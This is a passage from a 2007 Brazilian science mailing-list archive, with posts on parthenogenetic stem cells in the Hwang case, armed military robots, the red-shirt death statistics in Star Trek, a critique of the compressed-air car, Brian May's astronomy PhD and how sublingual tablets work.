que vai rir um trilhão de vezes?

Sério, estou perguntando, mesmo, aos experts nessa área.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de rmtakata
Enviada em: quinta-feira, 2 de agosto de 2007 15:19
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: [ciencialist] [RN] Pesquisadores criam software que entende piadas

http://www1.folha.uol.com.br/folha/informatica/ult124u316972.shtml
-------------
[]s,

Roberto Takata

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Página de apoio
http://www.ciencialist.com

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Links do Yahoo! Grupos





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SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger e o bem de todos
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/08/2007 21:33

Takata:
Realmente só eu sou censurado....
Quero apenas dizer ao Marcos que se quizer conversar sobre ateísmo, estou às ordens, em PVT.
sds.,
silvio.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, July 28, 2007 10:42 PM
Subject: [ciencialist] Re: Gato de Schoroedinger e o bem de todos


Olá Marcus

Marcus: "Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a
todos, independente do credo. Cadê o "lamentável oportunismo"?"

Tem razão, não é um forum de ateísmo. Mas isso significa também que
não é um fórum de nenhuma fé, e uma assinatura como essa, em nome do
senhor Jesus não faz sentido, e poderia ser ofensiva a, por exemplo,
um mórmom que participe da lista. Ou a um Judeu ortodoxo, que nega
Jesus. Ou qualquer outra forma de crença.

Esse é sempre o problema de uma fé, de um credo, ele pressupõe a
inferioridade de todos os outros (conforme exemplo recente do papa
Chico Bento, que declara em alto e bom som que só a fé dele salva e
evita o inferno..:-)

Para constar, eu não desejo que se deseje "meu bem" a partir de
qualquer credo, em especial de credos cristãos, os mais daninhos que
se tem notícia, em minha opinião.

A pergunta poderia ser feita sem a assinatura, da mesma forma como eu
não assinaria uma pergunta em uma lista católica com um "Deus não
existe, seus trouxas". Seria, no mínimo, deselegante e má educação.

Não se "deseja o bem" dos outros apresentando sua fé pessoal, por mais
que se pretenda que essa é a única forma legítima de fazer o bem (ou
justamente por causa disso).

A recomendação, sempre pertinente, do Brudna sobre não discutir
religião e fé na lista deve incluir não apenas os ateus, que me
parecem maioria aqui (como costuma ser, em se tratando de grupos de
cientistas e de ciência), mas também os que não o são.

Para terminar, desejar o bem de todos, independente de credo, mas
acreditar que todos vão para o inferno por não acreditarem no mesmo
que a pessoa, não me parece muito razoável ou sincero.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> > Para uma primeira mensagem nesse grupo, a assinatura veio
recheada de um
> > lamentável oportunismo!
>
> Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a todos,
> independente do credo. Cadê o "lamentável oportunismo"?
>
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>





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SUBJECT: Re: Gato de Schoroedinger e o bem de todos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/08/2007 00:54

--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Takata:
> Realmente só eu sou censurado....

A mensagem é de 28 de julho. Não tenho nada a ver com o caso.

[]s,

Roberto Takata

> Sent: Saturday, July 28, 2007 10:42 PM
> Subject: [ciencialist] Re: Gato de Schoroedinger e o bem de todos




SUBJECT: Neandertal foi grande inovador, diz estudo
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/08/2007 13:56

http://g1.globo.com/Noticias/Ciencia/0,,MUL82013-5603-630,00.html

[]´,s
Jeff.



SUBJECT: Korean Cloned Human Cells Were Product of "Virgin Birth"
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/08/2007 23:37

Olá pessoal

O artigo abaixo, da Scientific American, mostra como até mesmo uma
"fraude" cientifica, as supostas células clone de humanos do
pesquisador coreano Suk Hwang, podem produzir novos dados, novos
conhecimentos, e mesmo permitir fantásticas descobertas.

Examinando as células do estudo, os pesquisadores descobriram
evidências de que estas eram na verdade resultado de partenogenese, um
fenômeno que permite que óvulos não fecundados dupliquem seu núcleo e
gerem indivíduos idênticos a doadora destes.

Isso é um acontecimento importantíssimo, que permitiria gerar células
para tratar a doadora do óvulo de doenças degenerativas, sem rejeição
(inclusive, a longo prazo, órgãos completos para reposição sem
rejeição de qualquer tipo).

Um abraço.

Homero


Korean Cloned Human Cells Were Product of "Virgin Birth"
Fraudulent cloned cells were likely the first example of a human egg
turned directly into stem cells
By JR Minkel

Researchers say they have confirmed suspicions that embryonic stem
cells claimed to be extracted from the first cloned human embryo by
discredited South Korean scientist Woo Suk Hwang actually owe their
existence to parthenogenesis, a process in which egg cells give rise
to embryos without being fertilized by sperm.

A series of genetic markers sprinkled throughout the cells'
chromosomes show the same pattern found in parthenogenetic mice as
opposed to cloned mice, according to a report published online today
in the journal Cell Stem Cell.
ADVERTISEMENT (article continues below)

The result suggests that, although Hwang deceived the world about
achieving the first human cloning, his group was first to succeed in
performing human parthenogenesis, which may offer a way of creating
cells that are genetically matched to a woman for transplantation back
into her body to treat degenerative diseases.

"I think this is an extremely important—and solid—paper," says stem
cell researcher Robert Lanza, vice president of research and
scientific development at Applied Cell Technology, a regenerative
medicine company headquartered in Alameda, Calif., who did not take
part in the study. "It conclusively proves that the stem cell line in
question was not cloned as claimed, but rather was generated through
parthenogenesis."

The result follows on the heels of an announcement last month by
another California stem cell company, International Stem Cell
Corporation (ISC) in Oceanside, that it had successfully achieved
human parthenogenesis for the first time. Last year, Italian
researchers claimed to have achieved the same feat but have yet to
publish their results.

"The fact that this has now been achieved by two independent groups
gives me a far greater degree of confidence," Lanza says.

The new finding brings a measure of closure to a story that first
rocked the science world in February 2004, when Hwang and colleagues
at Seoul National University announced they had cloned a female
donor's cell by transferring its nucleus into one of her egg cells
stripped of its nucleus in a procedure known as somatic cell nuclear
transfer (SCNT), and harvested embryonic stem cells from the resulting
fusion. They published the result the next month in Science.

Science Image: parthenote tissue
Image: REVAZOVA ET AL., 2007, CLONING AND STEM CELLS
FIRST (DELIBERATE) HUMAN PARTHENOTE: In late June, a California
company published the first report of cells derived from human eggs
stimulated to grow into embryos. The cells are shown here after
transplantation into a mouse.
The claim went up in smoke in January of 2006 after a probe by the
university concluded that Hwang had fabricated the evidence, which
followed a similarly damning assessment of a landmark paper from the
previous year in which the group falsely reported creating 11 cell
lines genetically matched to their donors.

Unsolved Mysteries

A cloned cell should be identical to its donor, but the probe found
that of 48 common genetic variations, or markers, present in the 2004
cells, eight did not match their apparent donor. Investigators raised
parthenogenesis as the most likely explanation but could not be certain.

Later, during a chance discussion with European colleagues, stem cell
researcher George Daley of Children's Hospital Boston and the Harvard
Stem Cell Institute learned that they had received samples of the cell
line before the work was retracted. "We had read the suspicions that
the cell was a parthenote, but also realized that it had never really
been proven," Daley says.

To settle the case, they analyzed the genetic sequence of the cell
line at 500,000 locations across the genome.

The DNA of any two people will differ on average at one of every 1,000
subunits, or base pairs, Daley says. When a chromosome from a sperm
cell joins with that of an egg, these single nucleotide polymorphisms
(SNPs or "snips") tend not to match each other.

The same goes for cloned cells. But in contrast, pairs of matching
chromosomes in parthenogenetic cells tend to match one another in the
middle and differ near the ends because of a genetic mixing process
called recombination. In their paper, Daley and colleagues report that
the SNPs in the Korean cell line do indeed match toward the center of
the chromosomes, similar to five parthenogenetic mouse cell lines that
the team created for comparison.

In a separate analysis, they also found that three regions lacked the
chemical modifications, or imprinting, that paternal genes impose on a
fertilized embryo to prevent those genes from being activated.

Jeffrey Janus, president and director of research for ISC, agrees that
"Dr. Hwang's cells have characteristics found in parthenogenetic
cells" but remains cautious, saying "it needs more study."
ADVERTISEMENT (article continues below)

The Irony of It All

Stem cell experts say that Hwang and his team probably had no clue
what they had achieved, because if they had they would have claimed
credit for it.

"I think this … is every bit as exciting as the SCNT they were
claiming," says stem cell researcher Kent Vrana of Pennsylvania State
University, who pioneered parthenogenesis in monkeys. "Parthenotes by
their very nature are nonviable embryos, so you're not destroying
embryos, which has some ethical advantages."

Vrana says the Korean team used a procedure common in attempts to
induce parthenogenesis and SCNT alike, in which they injected egg
cells with calcium and a protein synthesis inhibitor to mimic what
happens when sperm fertilizes an egg.

To achieve SCNT, they first had to extract each egg's DNA and then
inject the donor cell nucleus. Daley says the Korean scientists must
have inadvertently left the DNA intact in one of the 242 egg cells
they injected. "They claimed they verified the removal of the DNA,''
Daley says, "but obviously they didn't."

The injection of the donor nucleus could have failed if the injecting
needle pulled it back out when withdrawn from the egg or if the egg
somehow rejected the introduced nucleus, Vrana says.

Hwang's group purported to rule out parthenogenesis as an explanation
in part by showing that two genes normally activated by paternal DNA
were inactive in the cells. But Daley says such experiments are easy
to misinterpret and are less conclusive than sequencing SNPs.

"I think they were just so blinded by what they hoped to accomplish,
they missed it," Vrana says.

As a result, in late June, more than a year after Science retracted
the 2004 paper, researchers at ISC were able to claim the discovery of
human parthenogenetic cell lines as their own in the journal Cloning
and Stem Cells. The group reported growing multiple parthenogenetic
embryonic stem cell lines by incubating eggs in a warm, low-oxygen
culture medium.

Before today's announcement, the work was already "awfully
convincing," Vrana says, and surprisingly successful: out of some 50
donated eggs, the company grew six cell lines. Parthenogenesis in
monkeys typically works only once every 90 eggs, he says.

Banking on Parthenotes

The therapeutic potential of parthenogenetic cells remains to be seen.
The lack of imprinting from the paternal DNA may cause the cells to
behave abnormally as they develop. Furthermore, they must have
matching immune proteins to be transplanted back into a donor.

In principle, tissue banks of parthenogenetic cell lines could include
enough different immune protein combinations to treat up to half of
the U.S. population—men as well as women—Lanza says. But he adds that
if human parthenotes routinely contain as many genetic mismatches as
the Korean cells, the number of eggs needed to create such a bank
could be prohibitively large.

Daley says his group hopes to acquire donated eggs from women with
inherited diseases and use parthenogenesis to create cell lines to
study those disorders. In the future, researchers will have to
determine whether similar cells are safe and effective when transplanted.

"We're a long, long way," Daley says, "from realizing therapeutic uses
of these cells."

http://www.sciam.com/article.cfm?chanID=sa003&articleID=237595F7-E7F2-99DF-35090887F28D418A&pageNumber=1&catID=1



SUBJECT: Exterminador do presente: primeiros robôs armados em ação
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 04/08/2007 03:32

Exterminador do presente: primeiros robôs armados em
ação<http://100nexos.com/arquivo/226><http://100nexos.com/arquivo/226#respond>

Os primeiros robôs armados foram liberados para ação no Iraque. São três
unidades "SWORDS" equipadas com metralhadoras
M249<http://en.wikipedia.org/wiki/M249_Squad_Automatic_Weapon>e
controladas remotamente por um soldado, elas têm autorização para
"missões
de combate de alto risco" desde junho, segundo a revista National
Defense<http://www.nationaldefensemagazine.org/issues/2007/August/RifleToting.htm>.
O exército americano encomendou oitenta unidades, e os planos do
programa Future
Combat Systems <http://fas.org/man/dod-101/sys/land/fcs.htm> são de que tais
unidades tornem-se cada vez mais autônomas.
Unidades de controle remoto letais não são tão novas, sendo desvolvidas
desde a Primeira Guerra Mundial, e recentemente vendo maior ação e utilidade
concretas com drones aéreos e
UAVs<http://en.wikipedia.org/wiki/Unmanned_aerial_vehicle>.
Mas as unidades SWORDS no Iraque são as primeiras unidades da série T.

[via Wired <http://blog.wired.com/defense/2007/08/httpwwwnational.html>]

*Veja também:*
Eva, a robô Schwarzenegger <http://100nexos.com/arquivo/28> Robô criado(a?)
por David Hanson. O sorriso lemb...
Como destruir a Terra em cinco idéias
<http://100nexos.com/arquivo/135>Fenomenal
mensagem de Douglas Donin à lista...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O fenômeno camisa vermelha em Jornada nas Estrelas
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 04/08/2007 04:03

O fenômeno camisa vermelha em Jornada nas
Estrelas<http://100nexos.com/arquivo/221><http://100nexos.com/arquivo/221#respond>

<http://www.clicktracks.com/insidetrack/articles/kirk_analytics.php?source=nws072007>
Analisando minuciosamente a série original de Jornada nas Estrelas, Matt
Bailey descobriu o intrigante Fenômeno Camisa Vermelha (FCV). Dos 430
tripulantes da missão de cinco anos, 59 foram mortos, uma média de
mortalidade de 13,7%. *Audaciosamente* indo aonde nenhum homem jamais
esteve.
Mas o FCV se revela quando a mortalidade é classificada de acordo com a cor
dos uniformes dos tripulantes:
*Mortes de tripulantes de Enterprise*

- Camisa amarela: 6 (10%)
- Camisa azul: 5 (8%)
- Pessoal de engenharia: 4
- *Camisa vermelha: 43 (73%!)*

Leia a análise completa de
Bailey<http://www.clicktracks.com/insidetrack/articles/kirk_analytics.php?source=nws072007>,
que ainda tem recomendações para sua sobrevivência caso acabe com um
uniforme vermelho ao explorar o espaço.
[imagem do post: The Adventurer's
Club<http://the-adventurers-club.typepad.com/the_adventurers_club/2006/09/red_shirt_must_.html>
]

*Veja também:*
Trekkies: alemã canta o tema de abertura da série original de Jornada nas
Estrelas <http://100nexos.com/arquivo/81> A comediante é Barbara
Schöneberger. ...
Jornada ao mundo do paradoxo de ilusão
<http://100nexos.com/arquivo/127>Curta de Eugen Erhan, "A journey in a
world of pa...
Camarão-estalo produz sonoluminescência <http://100nexos.com/arquivo/168> O
pequeno camarão-estalo (família A...
Como destruir a Terra em cinco idéias
<http://100nexos.com/arquivo/135>Fenomenal
mensagem de Douglas Donin à lista...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O fracasso do carro movido a ar
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 04/08/2007 05:20

O fracasso do carro movido a ar <http://100nexos.com/arquivo/229>

<http://espacioexterior.blogspot.com/2007/05/el-fracaso-del-coche-con-motor-mdi-aire.html>
Pagar menos de R$2,00 para andar centenas de quil�metros com um carro movido
a� ar? Ligar o escapamento no ar-condicionado? Usar �leo de cozinha para a
manuten��o? E ter um carro produzido com fibras compostas em f�bricas de
pequena escala, desafiando as grandes montadoras, para n�o falar das
monstruosas empresas petrol�feras?
O sonho do carro a ar � infelizmente bom demais para ser verdade, e os mais
atentos devem se lembrar que h� quase dez anos a empresa MDI do franc�s Guy
N�gre ganhou alguma aten��o no Brasil ao anunciar a cria��o de f�bricas por
aqui <http://www2.correioweb.com.br/cw/2001-11-01/mat_18856.htm>. Os
primeiros carros a ar deveriam estar sendo vendidos no Brasil desde 2003,
mas as promessas ficaram no ar. O mesmo ocorre em todas as dezenas de pa�ses
que anunciam o in�cio da fabrica��o de carros MDI "em breve". Teriam as
empresas petrol�feras conseguido acabar com mais esta revolu��o ecol�gica?
A resposta que pode surpreender �, de pronto, que *o carro a ar n�o �
ecol�gico*. � preciso comprimir o ar, e nenhuma inova��o � sugerida pela MDI
para que isto seja mais eficiente ou mesmo n�o-poluente. De fato, como
Miguel Celades Rex, diretor da MDI para Am�rica Latina e Pen�nsula
Ib�rica, declarou
em 2001 <http://www2.correioweb.com.br/cw/2001-11-01/mat_18856.htm>, "para
comprimir o ar, � preciso eletricidade, e boa parte dela vem de
termel�tricas, que *usam petr�leo*".
Isso pode ser �bvio. Mas entusiastas ainda podem imaginar que o carro a ar
seria menos poluente, "ecol�gico", se fosse especialmente eficaz em
armazenar e converter energia � que poderia ser gerada em usinas ecol�gicas.
Infelizmente, neste quesito o carro a ar tamb�m � um fracasso fundamental.
Como escreve Heriberto
Janosch<http://espacioexterior.blogspot.com/2007/05/el-fracaso-del-coche-con-motor-mdi-aire.html>,
"se construirmos um carro a gasolina que tenha as mesmas caracter�sticas que
um a ar comprimido como o proposto, com apenas 25 hp, o movido a gasolina
seria muito mais eficiente, gastaria menos energia e contaminaria muito
menos o meio ambiente". O processo de comprimir o ar, armazen�-lo em tanques
e ent�o utiliz�-lo em um motor � extremamente ineficiente, havendo muitas
perdas. Tanques de ar comprimido tamb�m n�o s�o meios de armazenar
quantidades pr�ticas de energia � a energia de 300 litros de ar a 300bar
equivaleria � energia de apenas 1,4 litros de gasolina
[fonte<http://en.wikipedia.org/wiki/Air_car#Criticism>].
� menos do que a energia dispon�vel em uma pequena moto, e mais compar�vel �
energia de um cortador de grama.
Se o carro n�o � ecol�gico, se nunca foi produzido como anunciado, como
explicar que novos acordos continuem sendo anunciados exatamente como
dantes, prometendo sempre carros para "breve"? H� poucos meses a MDI entrou
em acordo para lan�ar seu carro a ar na
�ndia<http://www.motordeaire.com/acuerdo_tata.html>,
prometendo vend�-los a partir de agosto de 2008. Por que afinal nunca
podemos comprar os carros?
O verdadeiro segredo do carro a ar comprimido pode ter em verdade pouco a
ver com meios de transporte, e sim com a �nica coisa que voc� pode
prontamente fazer com seu dinheiro ao visitar o s�tio da MDI e seus
representantes: *comprar licen�as de fabrica��o*. Na pr�pria p�gina de
entrada do s�tio <http://www.motordeaire.com/> declaram que a "MDI � se
financia com a venda e concess�o de licen�as de fabrica��o de suas patentes
em todo o mundo". Como pergunta Janosch, "*N�o ser� em realidade o neg�cio
da MDI apenas a venda de franquias e licen�a?*". Ele continua: "Se este � o
caso, a inviabilidade do projeto seria o de menos. *O importante seria fazer
as pessoas acreditarem que � vi�vel, e desenvolver uma boa estrat�gia de
marketing para captar investidores*. Para isso bastaria que a MDI criasse
prot�tipos para apresentar e conseguir investimentos destinados ao
desenvolvimento de novos prot�tipos. Seu mercado n�o seria o de compradores
de carros, e sim o de investidores que n�o conhe�am a ind�stria
automobil�stica. Logo poderiam culpar os 'grandes poderes econ�micos
ocultos' pelo fracasso de seu projeto".

*Veja tamb�m:*
Jogar uma bola a 100km/h de um carro a 100km/h: os
resultados<http://100nexos.com/arquivo/173>O que acontece se voc�
estver dentro de um ...
Esteira gigante para carros da NASCAR <http://100nexos.com/arquivo/217> Essa
� especial ao pessoal da Ciencialist:...
Soundpedia: m�sica online <http://100nexos.com/arquivo/19> Depois de
perambular pelo Goear, Blogmusik e, ...
Transformer real <http://100nexos.com/arquivo/214> De onde mais? Sem
computa��o gr&aac...
Dez coisas que voc� nunca deve comprar usadas (e dez que
deve)<http://100nexos.com/arquivo/88>Liz
Pulliam Weston do MSN Money d� as dicas...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Músico Astrônomo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/08/2007 06:53


Olá, todos,

Nunca é tarde demais. Eis o que mostra Brian May.
Passou parte de sua junventude "dando duro" como guitarrista.
A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
No caso a astronomia. Só quero saber dos resultados a que chegará a banca examinadora.
É bastante curiorioso: nunca haver se afastado da astronomia e seus suportes teóricos. Curioso e inusitado.
Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no mister.l
O cara deve o "tampa de crush".

Sds,
Victor.



03/08/2007 - 14h41
Guitarrista do Queen entrega tese de PhD após 36 anos


Stan Honda/AFP


Guitarrista do Queen, Brian May durante show no Rock and Roll Hall of Fame, em Nova York, EUA (2001)



O guitarrista Brian May entregou sua tese de PhD em astronomia nesta sexta-feira, 36 anos depois de abandonar os estudos para se juntar à banda Queen.

O músico fez trabalhos de observação astronômica recentemente em Tenerife, nas Ilhas Canárias (Espanha), onde estudou a formação de "nuvens de poeira zodiacal".

O assunto forma a base da tese de 48 mil palavras para o Imperial College de Londres, onde May - de 60 anos - estudava antes de se juntar ao Queen.

"Foi o maior período sábatico já registrado. Na época, foi uma decisão difícil deixar meus estudos pela música", disse o guitarrista.

"Estou muito orgulhoso por estar aqui hoje", acrescentou. "Astronomia sempre foi meu interesse." May entregou a tese, chamada "Velocidades Radiais na Nuvem de Poeira Zodiacal", para o chefe de astrofísica do Imperial College, o professor Paul Nandra.

O guitarrista deve discutir a tese com um painel de examinadores no dia 23 de agosto, de acordo com seu porta-voz. Os resultados deverão ser conhecidos logo depois desta data.

"Se eu fracassar, será grande", disse May. "Será um fracasso muito público com toda esta divulgação." O guitarrista também prepara um concerto para marcar a inauguração de um telescópio em um observatório astronômico em Tenerife, onde completou os estudos em julho.

"Não tenho dúvidas de que Brian May teria tido uma brilhante carreira em ciências, se tivesse completado seu PhD em 1971", disse o astrofísico Garik Israelian, que trabalhou com May em Tenerife.

"No entanto, como fã do Queen, fico feliz que ele tenha deixando a ciência temporariamente", acrescentou.

May fez suas primeiras observações astronômicas para sua tese no Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o Queen.

Recentemente, o guitarrista publicou um livro de astronomia em parceria com o apresentador de um programa da televisão britânica Patrick Moore.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: mastigar comprimidos
FROM: "Danniel Soares" <dannielsc@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/08/2007 08:52

Como funciona isso de comprimidos de se colocar sob a língua? Qual é
o processo de absorção específico desse lugar? Alguns componentes dos
alimentos normais também são absorvidos dessa forma? Teria qualquer
coisa a ver com aquilo de hipoglicêmicos chuparem uma bala ou tomarem
um pouco de suco quando começam a ficar zonzos, e rapidamente fazer o
nível açúcar voltar ao normal? Seria especialmente perigoso ter algo
não obviamente "errado" (como cápsulas de veneno ou algo do tipo)
debaixo da língua?


Danniel Soares


--- Em ciencialist@yahoogrupos.com.br, "Silvio
Cordeiro" <scordeiroes@...> escreveu
>
> Takata:
> Há diversos tipos de comprimidos: uns revestidos, para serem
dissolvidos só no duodeno. Se se mastigar um comprimido a digestão
dele começará na boca e até chegar ao estômago já sofreu alterações.
O correto, como qualquer ato ligado à medicina, é seguir as
orientações domédico ou do farmacêutico.
> Por exemplo: uso Isordil que deve ser colocado debaixo da língua
para dissolver. se o mastigar, vai pro estômago e eu vou pro morgue.
>
> sds.,
>
> silvio





SUBJECT: REVISTA MACROCOSMO.com
FROM: Hemerson Brandão <hemersonbrandao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/08/2007 12:52

Após uma longa pausa em nossos trabalhos, a REVISTA MACROCOSMO.com
está de volta, agora com novo layout, mais leve, mais bonita e mais
moderna. Confira os destaques de nossa nova edição:

Nebulosas Planetárias
por Marcelo Cruz
NEBULOSAS PLANETÁRIAS são cascas de gás ejetadas por uma estrela de
massa intermediária (0,8 a 8 M Sol) já nos estágios finais de
evolução, na fase posterior às gigantes vermelhas e anterior às anãs
brancas. Apresentam-se como nuvens de gás em volta de uma estrela
muito quente, geralmente com uma simetria esférica ou bipolar. A
origem do nome foi cunhada por William Herschell (1738-1822) em 1784 e
se deve à semelhança desses objetos com os planetas gigantes

Bioastronomia
por Fabiano Leite
A BIOASTRONOMIA, também conhecida como Exobiologia e Astrobiologia, é
uma ciência bastante arrojada e tecnologicamente avançada, pois de
maneira interdisciplinar perscruta o Universo na busca de dados
relativos a sua estrutura e potencial biótico. Por meio de uma análise
criteriosa percebemos que é difícil citar alguma ciência que não
esteja ligada diretamente ou indiretamente com a Bioastronomia, até
porque quando se estuda sobre a possibilidade de vida extraterrestre
faz-se necessário o estudo minucioso do único planeta habitado por
vida inteligente que conhecemos: a Terra. E este estudo se dá por meio
da Geologia, Química, Ecologia, Psicologia, Antropologia, Genética,
Neurologia, Sociologia etc.

Melhore seu Telescópio
por Guilherme de Almeida
ESTE ARTIGO ABORDA a realização de um melhoramento essencial nas
dovetails, com vista a evitar a deterioração nas suas faces laterais,
causada pelo aperto dos parafusos de fixação. Pode ainda evitar a
queda do tubo óptico caso haja deslizamento da dovetail em relação à
fêmea de suporte. Trata-se de um melhoramento de fácil realização
requerendo apenas alguns preparativos prévios para assegurar a boa
estética e a perfeição do resultado final. O melhoramento proposto
pode ser aplicado tanto às dovetails Vixen como a outras semelhantes

Visite nosso portal e confira todas as novidades:
http://www.revistamacrocosmo.com

Hemerson Brandão
REVISTA MACROCOSMO.com
Diversificando a Astronomia
http://www.revistamacrocosmo.com




SUBJECT: Associações de geradores lineares --- novos textos
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/08/2007 15:14

Olá todos,

com licença pelo 'meio-off-topic'.

Na Sala 12 eu já tinha pronto a "Associação de geradores lineares" (Parte 1). Essa semana passada terminei a Parte 2 e Parte 3. Hoje foram para on-line nos endereços:
http://www.feiradeciencias.com.br/sala12/12_T10.asp
http://www.feiradeciencias.com.br/sala12/12_T11.asp

Apreciaria, em tempo que puderem dispor, de uma leitura geral em ambas as Partes e, obviamente, a tradicional 'graça aos gatos', além de sugestões/críticas.

antecipado agradecimento,

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================


SUBJECT: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/08/2007 18:27

Estou disponibilizando na web uma versão inteiramente revisada do
livro "Em busca de uma nova ordem: A crise social da modernidade e a
busca por novos modelos de sociedade."

Trata-se de uma abordagem da crise da modernidade com fundações
teóricas na ciência cognitiva e antropologia biossocial. Para sairmos
da situação de crise na qual nos encontramos (que é intelectual,
política e sexual), o que precisamos é de um novo paradigma de Homem
que transcenda a modernidade, e a já desgastada divisão entre direita
e esquerda. Estas novas ciências estão nos disponibilizando este
paradigma. Trata-se de um fenômeno de grande importância cujo
pensamento social ainda não absorveu muito bem: A ciência está
chegando ao Homem.

A crítica não é inteiramente nova, e encontra ressonância no
pensamento de vários autores (Tocqueville, Nietzsche, entre outros),
mas seu embasamento nas novas ciências do homem lhe dá um rigor e
credibilidade que outros que abordaram o assunto não têm. São
abordadas questões importantes do mundo atual que têm sido pouco
tratadas por outros autores, como a crise da masculinidade; e os que
abordaram este assunto o tomaram como um problema em si, sem perceber
que ele é resultado de fenômenos sociais que têm raízes históricas
profundas. Procuro mostrar que não é possível encontrar novas bases
para a masculinidade sem alterar radicalmente a estrutura política da
sociedade.

Recomendo aos que tiverem interesse em avaliar a consistência do
texto e das idéias que leiam o capítulo 1, que trata da crise
intelectual, e o início do 2, que mostra como a sociologia, em seu
nascimento, cometeu erros que comprometeram todo o seu
desenvolvimento posterior. A parte 2 trata das crises política e
espiritual, e a 3 aborda as crises sexual e da masculinidade. A parte
4 trata da busca por uma utopia e pode ser ingênua em alguns
momentos, mas apresenta idéias e discussões interessantes.

O livro encontra-se em:
http://geocities.com/novaordem2003/novaordem.htm

João de Carvalho





SUBJECT: Re: mastigar comprimidos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/08/2007 22:07

--- Em ciencialist@yahoogrupos.com.br, "Danniel Soares"
> Como funciona isso de comprimidos de se colocar sob a língua?

Na parte debaixo da língua há saída de glândulas salivares e, mais
importante, é uma região de mucosa bastante vascularizada e fina.

A presença abundante de saliva ajuda a dissolver cápsulas e a
solubilizar substâncias hidrossolúveis. E a mucosa fina e
vascularizada é propícia para a absorção de certas substâncias.

Os nutrientes alimentares de modo geral não são absorvidos de modo
significativo por essa região devido a vários fatores.

Os açúcares da bala e suco - principalmente sacarose - serão quebrados
no intestino delgado em glicose e frutose. Na boca inicia-se o
processo da quebra do amido em maltose - dissacarídeo composto de dois
resíduos de glicose. (A maltose será tb quebrada em glicose no
intestino delgado.)

[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] Em busca de uma nova ordem
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/08/2007 22:45


João, oi...
Obrigado pelo convite!Não sabia que a masculinidade está com problemas... e vou seguir sem saber, pq seu link não deu acesso ao texto.
Acabei ficando curioso.
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: O fracasso do carro movido a ar
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/08/2007 23:22

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> A resposta que pode surpreender é, de pronto, que *o carro a ar não
> é ecológico*. É preciso comprimir o ar, e nenhuma inovação é
> sugerida pela MDI para que isto seja mais eficiente ou mesmo
> não-poluente.

Em termos globais pode mm ser tão ou mais poluente do q veículos a
combustão interna. Entre no mm caso dos veículos a hidrogênio. Mas
pode fazer a diferença em termos locais.

> Jogar uma bola a 100km/h de um carro a 100km/h: os
> resultados<http://100nexos.com/arquivo/173>O que acontece se você

O vídeo deste texto foi retirado do YT.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O fracasso do carro movido a ar
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/08/2007 23:39

